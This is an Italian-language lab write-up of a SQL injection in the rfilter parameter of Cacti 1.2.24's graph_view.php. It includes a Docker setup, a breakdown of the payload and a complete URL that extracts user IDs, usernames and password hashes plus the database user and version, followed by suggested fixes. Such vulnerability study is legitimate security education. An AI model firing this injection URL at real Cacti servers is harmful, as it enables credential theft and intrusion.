
Proof-of-concept exploit per Cacti 1.2.24 che sfrutta una SQL injection in graph_view.php, portando a remote code execution, con Docker-based lab setup ed esempi dettagliati di payload.
[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)
grow_right_pane_tree del file graph_view.php nel server Cacti 1.2.24.action su tree_content, esiste il parametro rfilter che è un input utente.rfilter viene convalidato attraverso la funzione html_validate_tree_vars, ma tale convalida verifica solo se si tratta di un**'espressione regolare valida**.rfilter viene inserito in una query SQL, consentendo l'iniezione di codice.docker-compose -v.docker compose up -d. (Immagine: cacti:1.2.24)

Questa vulnerabilità si verifica quando nelle impostazioni di autenticazione è consentito anche agli utenti normali (guest) di visualizzare i grafici.
Questa vulnerabilità può essere verificata con i seguenti input di parametri:
%20OR%20""="((" : Codice SQL injection rappresentativo. Forza una condizione vera tramite OR.%20UNION%20SELECT% : Recupera un risultato arbitrario desiderato.(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Richiede i valori id#username#password.(select%20user()),(select%20version()) : Recupera l'utente/versione del database.%23 : Si tratta di #, quindi la successiva istruzione SQL viene neutralizzata.
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
Si può notare che la risposta è stata data come richiesto.
Gli attacchi di SQL injection si verificano principalmente quando si accettano input utente durante l'interazione con il server. Con questo attacco di SQL injection, la riservatezza del database è stata compromessa e si è potuto osservare la fuga di dati.
Come contromisura per questa SQL injection, è possibile verificare una convalida di base dei valori in whitelist per rfilter, o eseguire l'escape dei caratteri speciali come (", ', ;, ...). Oppure, si possono apportare miglioramenti utilizzando librerie ORM come Doctrine per l'accesso al database.